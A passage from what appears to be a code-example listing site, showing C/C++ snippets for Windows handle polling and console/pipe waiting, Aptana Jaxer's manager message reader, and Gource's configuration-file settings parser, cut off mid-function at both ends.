        * - WaitForMultipleObjectsEx will always be signalled for it.
        * - comparison of current position in file and total size of
        *   the file can be used to check if we reached the end yet.
        *
        * Approach: Loop till either the internal event is signalled
        *           or if the end of the file has already been reached.
        */
      while(WaitForMultipleObjectsEx(1, handles, FALSE, 0, FALSE)
            == WAIT_TIMEOUT) {
        /* get total size of file */
        length = 0;
        size.QuadPart = 0;
        size.LowPart = GetFileSize(handle, &length);
        if((size.LowPart != INVALID_FILE_SIZE) ||
           (GetLastError() == NO_ERROR)) {
          size.HighPart = length;
          /* get the current position within the file */
          pos.QuadPart = 0;
          pos.LowPart = SetFilePointer(handle, 0, &pos.HighPart,
                                       FILE_CURRENT);
          if((pos.LowPart != INVALID_SET_FILE_POINTER) ||
             (GetLastError() == NO_ERROR)) {
            /* compare position with size, abort if not equal */
            if(size.QuadPart == pos.QuadPart) {
              /* sleep and continue waiting */
              SleepEx(0, FALSE);
              continue;
            }
          }
        }
        /* there is some data available, stop waiting */
        break;
      }
      break;

    case FILE_TYPE_CHAR:
       /* The handle represents a character input, this means:
        * - WaitForMultipleObjectsEx will be signalled on any kind of input,
        *   including mouse and window size events we do not care about.
        *
        * Approach: Loop till either the internal event is signalled
        *           or we get signalled for an actual key-event.
        */
      while(WaitForMultipleObjectsEx(2, handles, FALSE, INFINITE, FALSE)
            == WAIT_OBJECT_0 + 1) {
        /* check if this is an actual console handle */
        length = 0;
        if(GetConsoleMode(handle, &length)) {
          /* retrieve an event from the console buffer */
          length = 0;
          if(PeekConsoleInput(handle, &inputrecord, 1, &length)) {
            /* check if the event is not an actual key-event */
            if(length == 1 && inputrecord.EventType != KEY_EVENT) {
              /* purge the non-key-event and continue waiting */
              ReadConsoleInput(handle, &inputrecord, 1, &length);
              continue;
            }
          }
        }
        /* there is some data available, stop waiting */
        break;
      }
      break;

    case FILE_TYPE_PIPE:
       /* The handle represents an anonymous or named pipe, this means:
        * - WaitForMultipleObjectsEx will always be signalled for it.
        * - peek into the pipe and retrieve the amount of data available.
        *
        * Approach: Loop till either the internal event is signalled
        *           or there is data in the pipe available for reading.
        */
      while(WaitForMultipleObjectsEx(1, handles, FALSE, 0, FALSE)
            == WAIT_TIMEOUT) {
        /* peek into the pipe and retrieve the amount of data available */
        length = 0;
        if(PeekNamedPipe(handle, NULL, 0, NULL, &length, NULL)) {
          /* if there is no data available, sleep and continue waiting */
          if(length == 0) {
            SleepEx(0, FALSE);
            continue;
          }
        }
        else {
          /* if the pipe has been closed, sleep and continue waiting */
          if(GetLastError() == ERROR_BROKEN_PIPE) {
            SleepEx(0, FALSE);
            continue;
          }
        }
        /* there is some data available, stop waiting */
        break;
      }
      break;

    default:
      /* The handle has an unknown type, try to wait on it */
      WaitForMultipleObjectsEx(2, handles, FALSE, INFINITE, FALSE);
      break;
  }

  return 0;
}
Пример #27
0
static int
windows_poll_handle (HANDLE h, int fd,
		     struct bitset *rbits,
		     struct bitset *wbits,
                     struct bitset *xbits)
{
  BOOL read, write, except;
  int i, ret;
  INPUT_RECORD *irbuffer;
  DWORD avail, nbuffer;
  BOOL bRet;
  IO_STATUS_BLOCK iosb;
  FILE_PIPE_LOCAL_INFORMATION fpli;
  static PNtQueryInformationFile NtQueryInformationFile;
  static BOOL once_only;

  read = write = except = FALSE;
  switch (GetFileType (h))
    {
    case FILE_TYPE_DISK:
      read = TRUE;
      write = TRUE;
      break;

    case FILE_TYPE_PIPE:
      if (!once_only)
        {
          NtQueryInformationFile = (PNtQueryInformationFile)
            GetProcAddress (GetModuleHandle ("ntdll.dll"),
                            "NtQueryInformationFile");
          once_only = TRUE;
        }

      if (PeekNamedPipe (h, NULL, 0, NULL, &avail, NULL) != 0)
        {
          if (avail)
            read = TRUE;
        }
      else if (GetLastError () == ERROR_BROKEN_PIPE)
        ;

      else
        {
          /* It was the write-end of the pipe.  Check if it is writable.
             If NtQueryInformationFile fails, optimistically assume the pipe is
             writable.  This could happen on Windows 9x, where
             NtQueryInformationFile is not available, or if we inherit a pipe
             that doesn't permit FILE_READ_ATTRIBUTES access on the write end
             (I think this should not happen since Windows XP SP2; WINE seems
             fine too).  Otherwise, ensure that enough space is available for
             atomic writes.  */
          memset (&iosb, 0, sizeof (iosb));
          memset (&fpli, 0, sizeof (fpli));

          if (!NtQueryInformationFile
              || NtQueryInformationFile (h, &iosb, &fpli, sizeof (fpli),
                                         FilePipeLocalInformation)
              || fpli.WriteQuotaAvailable >= PIPE_BUF
              || (fpli.OutboundQuota < PIPE_BUF &&
                  fpli.WriteQuotaAvailable == fpli.OutboundQuota))
            write = TRUE;
        }
      break;

    case FILE_TYPE_CHAR:
      write = TRUE;
      if (!(rbits->in[fd / CHAR_BIT] & (1 << (fd & (CHAR_BIT - 1)))))
        break;

      ret = WaitForSingleObject (h, 0);
      if (ret == WAIT_OBJECT_0)
        {
          if (!IsConsoleHandle (h))
            {
              read = TRUE;
              break;
            }

          nbuffer = avail = 0;
          bRet = GetNumberOfConsoleInputEvents (h, &nbuffer);

          /* Screen buffers handles are filtered earlier.  */
          assert (bRet);
          if (nbuffer == 0)
            {
              except = TRUE;
              break;
            }

          irbuffer = (INPUT_RECORD *) alloca (nbuffer * sizeof (INPUT_RECORD));
          bRet = PeekConsoleInput (h, irbuffer, nbuffer, &avail);
          if (!bRet || avail == 0)
            {
              except = TRUE;
              break;
            }

          for (i = 0; i < avail; i++)
            if (irbuffer[i].EventType == KEY_EVENT)
              read = TRUE;
        }
      break;

    default:
      ret = WaitForSingleObject (h, 0);
      write = TRUE;
      if (ret == WAIT_OBJECT_0)
        read = TRUE;

      break;
    }

  ret = 0;
  if (read && (rbits->in[fd / CHAR_BIT] & (1 << (fd & (CHAR_BIT - 1)))))
    {
      rbits->out[fd / CHAR_BIT] |= (1 << (fd & (CHAR_BIT - 1)));
      ret++;
    }

  if (write && (wbits->in[fd / CHAR_BIT] & (1 << (fd & (CHAR_BIT - 1)))))
    {
      wbits->out[fd / CHAR_BIT] |= (1 << (fd & (CHAR_BIT - 1)));
      ret++;
    }

  if (except && (xbits->in[fd / CHAR_BIT] & (1 << (fd & (CHAR_BIT - 1)))))
    {
      xbits->out[fd / CHAR_BIT] |= (1 << (fd & (CHAR_BIT - 1)));
      ret++;
    }

  return ret;
}
Пример #28
0
NS_IMETHODIMP aptMgrCmdReader::Run()
{
    nsresult rv = NS_OK;
    
    BlockDumper recvDump("Recv");
    nsCOMPtr<aptIManagerCmdService> mcs = do_GetService("@aptana.com/managercmdservice;1", &rv);
    if (NS_FAILED(rv))
    {
        gJaxerLog.Log(eERROR, "aptMgrCmdReader: get aptIManagerCmdService failed: rv=0x%x", rv);
        gJaxerState = eEXITING;
    }

    // we are in msg mode, so each read gets one msg
    while (gJaxerState != eEXITING)
    {
        DWORD nRead = 0;
        mFD = INVALID_SOCKET;
        
#ifdef _WIN32
        BOOL rc = TRUE;
        DWORD nAvail = 0;
        ::ReadFile(mMgrSocket, mRecvBuf, CMDBUFSIZE, &nRead, &mOverlapped);
        DWORD wState = WaitForSingleObject(mOverlapped.hEvent,INFINITE);
        //gJaxerLog.Log(eTRACE, "wState=%x  error %d", wState, WAIT_OBJECT_0, GetLastError());

        if (WAIT_OBJECT_0 != wState)
        {
            gJaxerState = eEXITING;
            rv = NS_ERROR_FAILURE;
            gJaxerLog.Log(eFATAL, "WaitForSingleObject failed:%d", GetLastError());
            break;
        }
        
        //  Signalled on the overlapped event handle, check the result
        if (! GetOverlappedResult(mMgrSocket, &mOverlapped, &nRead, TRUE))
        {
            gJaxerState = eEXITING;
            rv = NS_ERROR_FAILURE;
            gJaxerLog.Log(eFATAL, "GetOverlappedResult failed:%d", GetLastError());
            break;
        }

#if 0
        while(nAvail==0 && rc)
        {
            rc = PeekNamedPipe(mMgrSocket, NULL, 0, NULL, &nAvail, NULL);
            if (!rc)
            {
                gJaxerState = eEXITING;
                rv = NS_ERROR_FAILURE;
                gJaxerLog.Log(eFATAL, "PeekNamedPipe failed:%d", GetLastError());
                break;
            }
            if (gJaxerState == eEXITING)
            {
                break;
            }

            SleepEx(1, TRUE);
        }
        if (gJaxerState == eEXITING)
            break;

        rc = ReadFile(mMgrSocket, mRecvBuf, CMDBUFSIZE, &nRead, NULL);
        if (!rc) 
        {
            rv = NS_ERROR_FAILURE;
            gJaxerLog.Log(eFATAL, "ReadFile failed:%d", GetLastError());
            break;
        }
#endif
#else
        iovec iov;
        iov.iov_base = (char*) mRecvBuf;
        iov.iov_len = CMDBUFSIZE;

        char msgbuf[CMSG_SPACE(sizeof(int))];
        msghdr msg;
        memset(&msg, 0, sizeof(msg));
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
        msg.msg_control = msgbuf;
        msg.msg_controllen = sizeof(msgbuf);

        do {
                nRead = recvmsg(mMgrSocket, &msg, 0);
                gJaxerLog.Log(eTRACE, "recvmsg: nRead=%d errno=%d (EINTR=%d)", nRead, errno, EINTR);
           } while (nRead < 0 && errno == EINTR);
    

        if (nRead < 0) 
        {
            gJaxerLog.Log(eFATAL, "Could not receive message from pipe");
            break;
        } else if (nRead == 0)
        {
            gJaxerLog.Log(eINFO, "Connection to JaxerManager closed.");
            break;
        } else if ((msg.msg_flags & MSG_TRUNC) || (msg.msg_flags & MSG_CTRUNC))
        {
            gJaxerLog.Log(eFATAL, "Control message truncated.");
            break;
        }

        cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
        if (cmsg)
        {
            if (cmsg->cmsg_len == CMSG_LEN(sizeof(int)) &&
                  cmsg->cmsg_level == SOL_SOCKET &&
                  cmsg->cmsg_type == SCM_RIGHTS)
            {
                mFD = *(int *)CMSG_DATA(cmsg);
            } else
            {
                // LogFatal("No socket descriptor in control message.");
                mFD = INVALID_SOCKET;
            }
        } else
        {
            mFD = INVALID_SOCKET;
        }

        if (mRecvBuf[0] != eNEW_REQUEST_MSG  && 
			mRecvBuf[0] != eNEW_HTTP_REQUEST_MSG &&
			mRecvBuf[0] != eNEW_ADMIN_REQUEST_MSG &&
			mFD != INVALID_SOCKET)
        {
            close(mFD);
            mFD = INVALID_SOCKET;
        }

        if (mFD == INVALID_SOCKET &&
			(mRecvBuf[0] == eNEW_REQUEST_MSG || 
			 mRecvBuf[0] == eNEW_HTTP_REQUEST_MSG ||
			 mRecvBuf[0] == eNEW_ADMIN_REQUEST_MSG
			)
		   )
        {
          gJaxerLog.Log(eFATAL, "No socket descriptor in control message.");
          mRecvBuf[0] = eEXIT_MSG;
        }
#endif
        mRecvIn = PRUint16(nRead);

        if (gJaxerLog.GetDumpEnabled()) 
        {
            gJaxerLog.Log(eINFO, "Message from manager:");
            recvDump.LogContents(mRecvBuf, mRecvIn, true);
            recvDump.Flush();
        }
    
        
        // 0-type [12]-len, [...]-msg data
        PRUint8 msgType = mRecvBuf[0];
        PRUint16 msgLen = (mRecvBuf[1] << 8) | mRecvBuf[2];
        if (mRecvIn<3 || mRecvIn != msgLen + 3)
        {
            //error - msg has to have at least 3 bytes
            gJaxerLog.Log(eFATAL, "Invalid message received from manager: RecvLen=%d, msglen=%d, msgType=%d.",
                mRecvIn, msgLen, msgType);
            //Exit
            msgType = eEXIT_MSG;

        }
        
        switch (msgType) 
        {
            case eNEW_REQUEST_MSG:
			case eNEW_HTTP_REQUEST_MSG:
			case eNEW_ADMIN_REQUEST_MSG:
                gJaxerLog.Log(eTRACE, "Received START_REQ_MSG.");
#ifdef _WIN32
                //Extract the socket
                WSAPROTOCOL_INFO sockInfo;
                if (msgLen != (PRUint16) sizeof(sockInfo))
                {
                    gJaxerLog.Log(eFATAL, "Wrong data received for socket info: Expected length=%d, received length=%d",
                        sizeof(sockInfo), mRecvIn);
                    return NS_ERROR_FAILURE;
                }
                memcpy(&sockInfo, mRecvBuf+3, msgLen);
                mFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, &sockInfo, 0, 0);
#endif
                // New request
                {
                    nsCOMPtr<aptManagerEvent> ReqEvent = new aptManagerEvent((eMSG_TYPE)msgType);
                    ReqEvent->SetWebSocket(mFD);
                    ReqEvent->SetMgrSocket(mMgrSocket);
                    // We need this be async
                    rv = NS_DispatchToMainThread(ReqEvent, NS_DISPATCH_NORMAL);
                }
                break;

            case eSET_PREF_MSG:
                gJaxerLog.Log(eTRACE, "Received SET_PREF_MSG.");
                // Pref request
                {
                    nsCOMPtr<aptManagerEvent> aEvent = new aptManagerEvent(eSET_PREF_MSG);
                    rv = aEvent->SetEventData(mRecvBuf + 1, mRecvIn-1);
                    // We need this be async
                    rv = NS_DispatchToMainThread(aEvent, NS_DISPATCH_NORMAL);
                }
                
                break;
                
            case eCMD_RESP_MSG:
                gJaxerLog.Log(eTRACE, "Received eCMD_RESP_MSG.");
                rv = mcs->SetCmdRespData((const char*)mRecvBuf);
                if (NS_FAILED(rv))
                {
                    gJaxerLog.Log(eFATAL, "Set cmd response data failed: rv=0x%x.", rv);
                    // exit
                    nsCOMPtr<aptManagerEvent> aEvent = new aptManagerEvent(eEXIT_MSG);
                    NS_DispatchToMainThread(aEvent, NS_DISPATCH_NORMAL);
                    return rv;
                }
                break;

            case eEXIT_MSG:
            default:
                if (msgType == eEXIT_MSG)
                {
                    gJaxerLog.Log(eINFO, "Received exit message from manager.  Exiting...");
                }else
                {
                    gJaxerLog.Log(eFATAL, "Unknown message (%d) from manager.", mRecvBuf[0]);
                }
                gJaxerState = eEXITING;

                break;
        }
    }

    if (mcs)
        mcs->NotifyPossibleCmdFailure();

    // exit
    nsCOMPtr<aptManagerEvent> aEvent = new aptManagerEvent(eEXIT_MSG);                   
    rv = NS_DispatchToMainThread(aEvent, NS_DISPATCH_NORMAL);
            
    gJaxerLog.Log(eTRACE, "MgrCmdReader thread returning with code %d.", rv);

    return rv;
}
Пример #29
0
void GourceSettings::importGourceSettings(ConfFile& conffile, ConfSection* gource_settings) {

    setGourceDefaults();

    if(gource_settings == 0) gource_settings = conffile.getSection(default_section_name);

    if(gource_settings == 0) {
        gource_settings = conffile.addSection("gource");
    }

    ConfEntry* entry = 0;

    //hide flags

    std::vector<std::string> hide_fields;

    if((entry = gource_settings->getEntry("hide")) != 0) {

        if(!entry->hasValue()) conffile.missingValueException(entry);

        std::string hide_string = entry->getString();

        size_t sep;
        while((sep = hide_string.find(",")) != std::string::npos) {

            if(sep == 0 && hide_string.size()==1) break;

            if(sep == 0) {
                hide_string = hide_string.substr(sep+1, hide_string.size()-1);
                continue;
            }

            std::string hide_field  = hide_string.substr(0, sep);
            hide_fields.push_back(hide_field);
            hide_string = hide_string.substr(sep+1, hide_string.size()-1);
        }

        if(hide_string.size() > 0 && hide_string != ",") hide_fields.push_back(hide_string);

        //validate field list

        for(std::vector<std::string>::iterator it = hide_fields.begin(); it != hide_fields.end(); it++) {
            std::string hide_field = (*it);

            if(   hide_field != "date"
               && hide_field != "users"
               && hide_field != "tree"
               && hide_field != "files"
               && hide_field != "usernames"
               && hide_field != "filenames"
               && hide_field != "dirnames"
               && hide_field != "bloom"
               && hide_field != "progress"
               && hide_field != "mouse"
               && hide_field != "root") {
                std::string unknown_hide_option = std::string("unknown option hide ") + hide_field;
                conffile.entryException(entry, unknown_hide_option);
            }
        }
    }

    //check hide booleans
    for(std::map<std::string,std::string>::iterator it = arg_types.begin(); it != arg_types.end(); it++) {
        if(it->first.find("hide-") == 0 && it->second == "bool") {

            if(gource_settings->getBool(it->first)) {
                std::string hide_field = it->first.substr(5, it->first.size()-5);
                hide_fields.push_back(hide_field);
            }
        }
    }

    if(hide_fields.size()>0) {

        for(std::vector<std::string>::iterator it = hide_fields.begin(); it != hide_fields.end(); it++) {
            std::string hidestr = (*it);

                if(hidestr == "date")       hide_date      = true;
            else if(hidestr == "users")     hide_users     = true;
            else if(hidestr == "tree")      hide_tree      = true;
            else if(hidestr == "files")     hide_files     = true;
            else if(hidestr == "usernames") hide_usernames = true;
            else if(hidestr == "filenames") hide_filenames = true;
            else if(hidestr == "dirnames")  hide_dirnames  = true;
            else if(hidestr == "bloom")     hide_bloom     = true;
            else if(hidestr == "progress")  hide_progress  = true;
            else if(hidestr == "root")      hide_root      = true;
            else if(hidestr == "mouse")     {
                hide_mouse     = true;
                hide_progress  = true;
            }
        }
    }

    if((entry = gource_settings->getEntry("date-format")) != 0) {

        if(!entry->hasValue()) conffile.missingValueException(entry);

        date_format = entry->getString();
    }

    if(gource_settings->getBool("disable-auto-rotate")) {
        disable_auto_rotate=true;
    }

    if(gource_settings->getBool("disable-auto-skip")) {
        auto_skip_seconds = -1.0;
    }

    if(gource_settings->getBool("loop")) {
        loop = true;
    }

    if((entry = gource_settings->getEntry("git-branch")) != 0) {

        if(!entry->hasValue()) conffile.missingValueException(entry);

        git_branch = entry->getString();
    }

    if(gource_settings->getBool("colour-images")) {
        colour_user_images = true;
    }

    if((entry = gource_settings->getEntry("crop")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify crop (vertical,horizontal)");

        std::string crop = entry->getString();

        if(crop == "vertical") {
            crop_vertical = true;
        } else if (crop == "horizontal") {
            crop_horizontal = true;
        } else {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("log-format")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify log-format (format)");

        log_format = entry->getString();

        if(log_format == "cvs") {
            conffile.entryException(entry, "please use either 'cvs2cl' or 'cvs-exp'");
        }

        if(   log_format != "git"
           && log_format != "cvs-exp"
           && log_format != "cvs2cl"
           && log_format != "svn"
           && log_format != "custom"
           && log_format != "hg"
           && log_format != "bzr"
           && log_format != "apache") {

            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("default-user-image")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify default-user-image (image path)");

        default_user_image = entry->getString();
    }

    if((entry = gource_settings->getEntry("user-image-dir")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify user-image-dir (directory)");

        user_image_dir = entry->getString();

        //append slash
        if(user_image_dir[user_image_dir.size()-1] != '/') {
            user_image_dir += std::string("/");
        }

        //get jpg and png images in dir
        DIR *dp;
        struct dirent *dirp;

        user_image_map.clear();

        if((dp = opendir(gGourceSettings.user_image_dir.c_str())) != 0) {

            while ((dirp = readdir(dp)) != 0) {
                std::string dirfile = std::string(dirp->d_name);

                size_t extpos = 0;

                if(   (extpos=dirfile.rfind(".jpg"))  == std::string::npos
                && (extpos=dirfile.rfind(".jpeg")) == std::string::npos
                && (extpos=dirfile.rfind(".png"))  == std::string::npos) continue;


                std::string image_path = gGourceSettings.user_image_dir + dirfile;
                std::string name       = dirfile.substr(0,extpos);

#ifdef __APPLE__
                CFMutableStringRef help = CFStringCreateMutable(kCFAllocatorDefault, 0);
                CFStringAppendCString(help, name.c_str(), kCFStringEncodingUTF8);
                CFStringNormalize(help, kCFStringNormalizationFormC);
                char data[4096];
                CFStringGetCString(help,
                                   data,
                                   sizeof(data),
                                   kCFStringEncodingUTF8);
                name = data;
#endif

                debugLog("%s => %s\n", name.c_str(), image_path.c_str());

                user_image_map[name] = image_path;
            }

            closedir(dp);
        }
    }

    if((entry = gource_settings->getEntry("bloom-intensity")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify bloom-intensity (float)");

        bloom_intensity = entry->getFloat();

        if(bloom_intensity<=0.0f) {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("bloom-multiplier")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify bloom-multiplier (float)");

        bloom_multiplier = entry->getFloat();

        if(bloom_multiplier<=0.0f) {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("elasticity")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify elasticity (float)");

        elasticity = entry->getFloat();

        if(elasticity<=0.0f) {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("font-size")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify font size");

        font_size = entry->getInt();

        if(font_size<1 || font_size>100) {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("hash-seed")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify hash seed (integer)");

        gStringHashSeed = entry->getInt();
    }

    if((entry = gource_settings->getEntry("font-colour")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify font colour (FFFFFF)");

        int r,g,b;

        std::string colstring = entry->getString();

        if(entry->isVec3()) {
            font_colour = entry->getVec3();
        } else if(colstring.size()==6 && sscanf(colstring.c_str(), "%02x%02x%02x", &r, &g, &b) == 3) {
            font_colour = vec3(r,g,b);
            font_colour /= 255.0f;
        } else {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("background-colour")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify background colour (FFFFFF)");

        int r,g,b;

        std::string colstring = entry->getString();

        if(entry->isVec3()) {
            background_colour = entry->getVec3();
        } else if(colstring.size()==6 && sscanf(colstring.c_str(), "%02x%02x%02x", &r, &g, &b) == 3) {
            background_colour = vec3(r,g,b);
            background_colour /= 255.0f;
        } else {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("highlight-colour")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify highlight colour (FFFFFF)");

        int r,g,b;

        std::string colstring = entry->getString();

        if(entry->isVec3()) {
            highlight_colour = entry->getVec3();
        } else if(colstring.size()==6 && sscanf(colstring.c_str(), "%02x%02x%02x", &r, &g, &b) == 3) {
            highlight_colour = vec3(r,g,b);
            highlight_colour /= 255.0f;
        } else {
            conffile.invalidValueException(entry);
        }
    }
    
    if((entry = gource_settings->getEntry("selection-colour")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify selection colour (FFFFFF)");

        int r,g,b;

        std::string colstring = entry->getString();

        if(entry->isVec3()) {
            selection_colour = entry->getVec3();
        } else if(colstring.size()==6 && sscanf(colstring.c_str(), "%02x%02x%02x", &r, &g, &b) == 3) {
            selection_colour = vec3(r,g,b);
            selection_colour /= 255.0f;
        } else {
            conffile.invalidValueException(entry);
        }
    }    
    
    if((entry = gource_settings->getEntry("dir-colour")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify dir colour (FFFFFF)");

        int r,g,b;

        std::string colstring = entry->getString();

        if(entry->isVec3()) {
            dir_colour = entry->getVec3();
        } else if(colstring.size()==6 && sscanf(colstring.c_str(), "%02x%02x%02x", &r, &g, &b) == 3) {
            dir_colour = vec3(r,g,b);
            dir_colour /= 255.0f;
        } else {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("background-image")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify background image (image path)");

        background_image = entry->getString();
    }

    if((entry = gource_settings->getEntry("title")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify title");

        title = entry->getString();
    }

    if((entry = gource_settings->getEntry("logo")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify logo (image path)");

        logo = entry->getString();
    }

    if((entry = gource_settings->getEntry("logo-offset")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify logo-offset (XxY)");

        std::string logo_offset_str = entry->getString();

        int posx = 0;
        int posy = 0;

        if(parseRectangle(logo_offset_str, posx, posy)) {
            logo_offset = vec2(posx, posy);
        } else {
            conffile.invalidValueException(entry);
        }

    }

    if((entry = gource_settings->getEntry("seconds-per-day")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify seconds-per-day (seconds)");

        float seconds_per_day = entry->getFloat();

        if(seconds_per_day<=0.0f) {
            conffile.invalidValueException(entry);
        }

        // convert seconds-per-day to days-per-second
        days_per_second = 1.0 / seconds_per_day;
    }

    if((entry = gource_settings->getEntry("auto-skip-seconds")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify auto-skip-seconds (seconds)");

        auto_skip_seconds = entry->getFloat();

        if(auto_skip_seconds <= 0.0) {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("file-idle-time")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify file-idle-time (seconds)");

        std::string file_idle_str = entry->getString();

        file_idle_time = (float) atoi(file_idle_str.c_str());

        if(file_idle_time<0.0f || file_idle_time == 0.0f && file_idle_str[0] != '0' ) {
            conffile.invalidValueException(entry);
        }
        if(file_idle_time==0.0f) {
            file_idle_time = 86400.0f;
        }
    }

    if((entry = gource_settings->getEntry("user-idle-time")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify user-idle-time (seconds)");

        user_idle_time = entry->getFloat();

        if(user_idle_time < 0.0f) {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("time-scale")) != 0) {

        if(!entry->hasValue())
            conffile.entryException(entry, "specify time-scale (scale)");

        time_scale = entry->getFloat();

        if(time_scale <= 0.0f || time_scale > 4.0f) {
            conffile.entryException(entry, "time-scale outside of range 0.0 - 4.0");
        }
    }

    if((entry = gource_settings->getEntry("start-position")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify start-position (float,random)");

        if(entry->getString() == "random") {
            srand(time(0));
            start_position = (rand() % 1000) / 1000.0f;
        } else {
            start_position = entry->getFloat();

            if(start_position<=0.0 || start_position>=1.0) {
                conffile.entryException(entry, "start-position outside of range 0.0 - 1.0 (non-inclusive)");
            }
        }
    }

    if((entry = gource_settings->getEntry("stop-position")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify stop-position (float)");

        stop_position = entry->getFloat();

        if(stop_position<=0.0 || stop_position>1.0) {
            conffile.entryException(entry, "stop-position outside of range 0.0 - 1.0 (inclusive)");
        }
    }

    if((entry = gource_settings->getEntry("stop-at-time")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify stop-at-time (seconds)");

        stop_at_time = entry->getFloat();

        if(stop_at_time <= 0.0) {
            conffile.invalidValueException(entry);
        }
    }

    if(gource_settings->getBool("key")) {
        show_key = true;
    }

    if(gource_settings->getBool("ffp")) {
        ffp = true;
    }

    if(gource_settings->getBool("realtime")) {
        days_per_second = 1.0 / 86400.0;
    }

    if(gource_settings->getBool("dont-stop")) {
        dont_stop = true;
    }

    if(gource_settings->getBool("stop-at-end")) {
        stop_at_end = true;
    }

    //NOTE: this no longer does anything
    if(gource_settings->getBool("stop-on-idle")) {
        stop_on_idle = true;
    }

    if((entry = gource_settings->getEntry("max-files")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify max-files (number)");

        max_files = entry->getInt();

        if(max_files<0 || max_files == 0 && entry->getString() != "0") {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("max-file-lag")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify max-file-lag (seconds)");

        max_file_lag = entry->getFloat();

        if(max_file_lag==0.0) {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("user-friction")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify user-friction (seconds)");

        user_friction = entry->getFloat();

        if(user_friction<=0.0) {
            conffile.invalidValueException(entry);
        }

        user_friction = 1.0 / user_friction;
    }

    if((entry = gource_settings->getEntry("user-scale")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify user-scale (scale)");

        user_scale = entry->getFloat();

        if(user_scale<=0.0 || user_scale>100.0) {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("max-user-speed")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify max-user-speed (units)");

        max_user_speed = entry->getFloat();

        if(max_user_speed<=0) {
            conffile.invalidValueException(entry);
        }
    }

    if(   gource_settings->getBool("highlight-users")
       || gource_settings->getBool("highlight-all-users")) {
        highlight_all_users = true;
    }

    if(gource_settings->getBool("highlight-dirs")) {
        highlight_dirs = true;
    }

    if((entry = gource_settings->getEntry("camera-mode")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify camera-mode (overview,track)");

        camera_mode = entry->getString();

        if(camera_mode != "overview" && camera_mode != "track") {
            conffile.invalidValueException(entry);
        }
    }

    if((entry = gource_settings->getEntry("padding")) != 0) {

        if(!entry->hasValue()) conffile.entryException(entry, "specify padding (float)");

        padding = entry->getFloat();

        if(padding <= 0.0f || padding >= 2.0f) {
            conffile.invalidValueException(entry);
        }
    }

    // multi-value entries

    if((entry = gource_settings->getEntry("highlight-user")) != 0) {

        ConfEntryList* highlight_user_entries = gource_settings->getEntries("highlight-user");

        for(ConfEntryList::iterator it = highlight_user_entries->begin(); it != highlight_user_entries->end(); it++) {

            entry = *it;

            if(!entry->hasValue()) conffile.entryException(entry, "specify highlight-user (user)");

            highlight_users.push_back(entry->getString());
        }
    }

    if((entry = gource_settings->getEntry("follow-user")) != 0) {

        ConfEntryList* follow_user_entries = gource_settings->getEntries("follow-user");

        for(ConfEntryList::iterator it = follow_user_entries->begin(); it != follow_user_entries->end(); it++) {

            entry = *it;

            if(!entry->hasValue()) conffile.entryException(entry, "specify follow-user (user)");

            follow_users.push_back(entry->getString());
        }
    }

    if(gource_settings->getBool("file-extensions")) {
        file_extensions=true;
    }

    if((entry = gource_settings->getEntry("file-filter")) != 0) {

        ConfEntryList* filters = gource_settings->getEntries("file-filter");

        for(ConfEntryList::iterator it = filters->begin(); it != filters->end(); it++) {

            entry = *it;

            if(!entry->hasValue()) conffile.entryException(entry, "specify file-filter (regex)");

            std::string filter_string = entry->getString();

            Regex* r = new Regex(filter_string, 1);

            if(!r->isValid()) {
                delete r;
                conffile.entryException(entry, "invalid file-filter regular expression");
            }

            file_filters.push_back(r);
        }
    }

    if((entry = gource_settings->getEntry("user-filter")) != 0) {

